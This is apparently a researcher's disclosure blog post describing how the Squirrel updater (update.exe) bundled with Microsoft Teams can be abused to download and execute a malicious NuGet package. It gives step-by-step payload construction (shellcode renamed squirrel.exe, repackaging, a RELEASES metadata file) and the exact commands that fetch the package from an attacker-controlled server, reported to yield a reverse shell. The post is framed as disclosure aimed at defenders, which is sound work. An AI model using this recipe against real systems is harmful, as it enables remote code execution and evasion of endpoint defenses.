When i was researching Microsoft ‘Teams,’ I came across an interesting argument ‘update’, I got to know from Squirrel documentation that this command will download and execute the respective Nuget package automatically, I was like why Microsoft has this feature? can i exploit this?
The Package creation was bit challenging one, It took some hours to figure out how easy it is, Then i tried to create a reverse shell , tried the update command from Microsoft Teams and voila! I got a reverse shell.
I reported to Microsoft and they are not bad, they responded to me and validated the vulnerable endpoint and postponed the fix to future release, I was waiting for the fix so i can make it release publicly.
But, Of-course most of them hunting for the exploits and doing good for the community to protect from adversaries, I got an update in my Twitter that another researcher https://twitter.com/MrUn1k0d3r released similar vulnerable endpoint in Microsoft Teams that also from ‘update.exe’ , Got an update that https://twitter.com/Hexacorn also researched about Squirrel packages initially , The both researchers did a fantastic work on this, So i decided finally to make it public since i spent most of the time in this and without fixing this, the adversaries/insiders likely use this technique for EDR/IDS evasion, So this post will make the blueteam-defense team aware of this situation.
Vulnerable Endpoints :
Payload creation :
- extract any nupkg package, in my example Exploit-1.5.60-full.nupkg
- goto Exploit-1.5.60-full\lib\net45 and drop your shellcode as ‘squirrel.exe’
compress the complete folder as ‘Exploit-1.5.60-full.nupkg’
- Calculate the metadata with below command.
sha1sum Exploit-1.5.60-full.nupkg && wc -c < Exploit-1.5.60-full.nupkg
Output : fa8b87f0b995498a6e890c832dcaf968997608d4 Exploit-1.5.60-full.nupkg 4695
- create a file named RELEASES and copy the above output and save.
So the main directory contains 2 file Exploit-1.5.60-full.nupkg and RELEASES.
- upload to any http server.
How to attack :
- Download and execute:
Step 1: Go to target application folder, So go to “%localappdata%[application Folder]”
Step 2: Run the below command,
update.exe — update=[http server contains the above 2 files]
E.g update.exe — update=http://192.168.10.251/
Now the update command will download the malicious package and install automatically.
2. Download :
update.exe — download=[http server contains the above 2 files]
It will download the package containing shellcode to “packages” folder.
What is the impact?
- Malicious code execution from Microsoft legitimate binary (Living off the Land)
- No special privilege required, just a standard windows user can able to exploit this.
- RedTeam/Insiders will use this evade EDR/IDS.
- Privilege escalation happens, if the application has control of SYSTEM files.
What is the Issue?
- There is no controlled design that application to update from authenticated URL.
- Allowing 3rd party url to download the package.
- I would not say the issue with Squirrel application design, but Developers might redact the unwanted arguments and push automatic updates.